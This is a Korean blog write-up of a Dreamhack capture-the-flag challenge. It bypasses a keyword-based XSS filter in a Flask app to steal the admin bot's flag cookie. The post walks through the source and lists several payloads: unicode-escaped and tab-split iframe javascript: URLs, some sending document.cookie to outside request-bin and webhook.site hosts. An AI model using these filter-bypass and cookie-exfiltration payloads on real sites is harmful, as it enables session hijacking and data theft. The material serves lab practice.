김승현
[Dreamhack : Web] XSS Filtering Bypass Advanced 본문
문제
이전에 풀었던 문제에서 패치된 문제로 아마도 필터링이 더 강화된 문제일 것 같다.
풀이
접속하면 볼 수 있는 화면이다 vuln page로 가보자.
vuln page로 가면 이렇게 생겼고 위의 파라미터를 바탕으로 사진이 출력되어 있는 걸 볼 수 있다. memo로 가보자.
이렇게 memo 엔드포인트로 갈 때마다 hello가 출력된다. 마지막으로 flag로 가보자.
이렇게 localhost에 대한 파라미터를 입력받고 제출할 수 있게 되어 있다. 소스코드를 확인해보자.
<코드 전체>
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
return "filtered!!!"
advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
for f in advanced_filter:
if f in text.lower():
return "filtered!!!"
return text
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
app.run(host="0.0.0.0", port=8000)
<코드 초반부>
flask에서 flask, request, render_template를 import했고 selenium에서 webdriver를 imort하고 urllib, os를 import했다.
flask는 웹 사이트 제작 프레임워크이고 request는 요청을 할 수 있게 해주는 거고 render_template는 화면에 출력,
webriver는 다양한 브라우저에서 정상 작동하는지 테스트하는 거, urllib는 url을 가져오기 위한 거, os는 운영체제에서 제공되는 다양한 기능들을 파이썬에서 실행할 수 있도록 해주는 거다.
app = Flask 문장으로 플라스크 객체를 생성하고 app.secret_key 변수에 unsigned로 랜덤 값을 저장
FLAG 변수에 ./flag.txt의 값을 읽어서 저장
실패했다면 FLAG 변수에 [**FLAG**] 저장
index (host3.dreamhack.games/)
접속하면 index.html이 보여지도록 작성되어 있다.
memo (host3.dreamhack.games/memo
memo_text라는 전역변수 생성
text 변수에 전달받은 memo 파라미터의 값 저장
memo_text 변수에 text 변수의 값과 줄바꿈 저장
memo에 memo_text를 넣고 memo.html이 보이도록 render_template를 이용해서 반환
vuln (host3.dreamhack.games/vuln)
param 변수에 사이트에서 전달받은 param 파라미터 저장
param 변수에 xss_filter 함수를 적용한 param값 저장
param 변수 반환
xss_filter()
_filter 변수에 script, on, javasrcript 저장
전달받은 text 파라미터를 소문자로 바꾼 것 중 해당하는 값이 있으면 filtered!!! 반환(출력)
advanced_filter 변수에 window, self, tjis, document, location, (, ), &# 변수 저장
전달받은 text 파라미터를 소문자로 바꾼 것 중 해당하는 값이 있으면 filtered!!! 반환(출력)
저번 문제는 공백 치환이었기 때문에 scrscriptipt처럼 써서 우회할 수 있었지만 이번엔 그냥 포함이 되면
끝나버리기 때문에 다른 방법을 써야 될 것 같아 보인다.
flag (host3.dreamhack.games/flag)
전달받은 메소드가 GET이라면
render_template를 이용해서 flag.html 반환
전달받은 메소드가 POST라면
param 변수에 전달받은 param 파라미터의 값 저장
만약 check_xss 함수에 param와 cookie값에서 FLAG에서 공백을 제거한 값을 제거한 걸 입력한 값이 거짓이라면
wrong??을 출력 check_xss가 참을 반환하면 good 반환
check_xss()
url 변수에 "http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}값을 저장
(urllib.parse.quote는 전달받은 값을 xss가 발생할 수 있는 url로 변경해주는 함수)
read_url 함수에 url과 cookie를 넣은 값 반환
read_url()
cookie 값을 domain, localhost로 변경
option 변수에 webdriver 크롬 옵션 저장
for문 안의 내용들로 브라우저 크기 설정
driver의 내용들은 다 세팅하는 함수들이기 때문에 넘어가겠습니다. 요약: localhost 크롬을 통해 테스트함
만약 위의 과정들 중에 오류가 발생한다면 false 반환 그렇게 되면 check_xss도 false고 if문엔 not이 붙었기 때문에
결과적으로는 값이 true가 되면서 if문이 실행되어 입력한 값에 대해 wrong을 출력하게 됨
중요한 부분은 vuln엔드포인트의 xss_filter를 우회하여 작성해야 된다는 것이다.
filter 내용 script, on, javascript, window, self, this, document, location, (, ), $# |
우회를 하기만 하면 다른 내용들은 같기 때문에 저번 문제에서 사용한 payload를 가져왔다.
<scrscriptipt>this['locatio'+'n'].href = "/memo?memo=" + document.cookie;</scrscriptipt>
String.fromCharCode 함수를 이용해서 해볼 것이다.
<String.fromCharCode`115, 99, 114, 105, 112, 116`;>String.fromCharCode`108, 111, 99, 97, 116, 105, 111, 110`;.href = "/memo?memo= " String.fromCharCode`100, 111, 99, 117, 109, 101, 110, 116`.cookie;</string.fromcharcode`115, 99, 114, 105, 112, 116`;>
이렇게 해서 해봤는데 flag가 출력되지 않았다...ㅜ 다른 방법을 써보자.
<iframe src="\1\4javascr\tipt:locati\u006f\u006e.href = "memo?memo=" + parent.\u0064ocument.cookie;"/>
다른 거 많이 해봤는데 안 돼서 dreamhack tools의 request bin을 써보려고 한다.
https://bbzrcbd.request.dreamhack.games
<iframe src="\1\4javascr\tipt:locati\u006f\u006e.href = "https://bbzrcbd.request.dreamhack.games/memo?memo=" + \u0064ocument.cookie;"/>
\u0064ocument.locati\u006f\u006e.href = 'https://bbzrcbd.request.dreamhack.games/?memo=' + \u0064ocument.cookie;"/>
<iframe src="\1\4javascr\tipt:locati\u006f\u006e.href = "https://lgigcpg.request.dreamhack.games/?memo=" + \u0064ocument.cookie;"/>
<iframe src="javascr''ipt:\u0064ocument.locati\u006f\u006e.href = 'https://webhook.site/433d0a39-20ce-4ac5-9abb-f2dcacc02a5e/?memo=' + \u0064ocument.cookie;"/>
<iframe src= 'x'\u006f\u006eerror="alert`1`">
위엔 다 실패했고 다시 memo?memo=로 다시 돌아와서 작성해봤다.
<iframe src="javascri pt:locatio n.href='/memo?memo='%2bdocumen t.cookie">
이렇게 작성해서 flag에 입력해봤다.
참고로 tab을 %09나 \t를 쓰면 디코딩 문제로 되지 않는다.
'Web > Dreamhack : Web' 카테고리의 다른 글
[Dreamhack : Web] SCP Bypass advanced (0) | 2023.03.03 |
---|---|
[Dreamhack : Web] SCP Bypass (0) | 2023.03.01 |
[Dreamhack : Web] XSS Filtering Bypass (0) | 2023.03.01 |
[Dreamhack : Web] Apache htaccess (0) | 2023.02.28 |
[Dreamhack : Web] File Vulnerability Advanced for linux (0) | 2023.02.26 |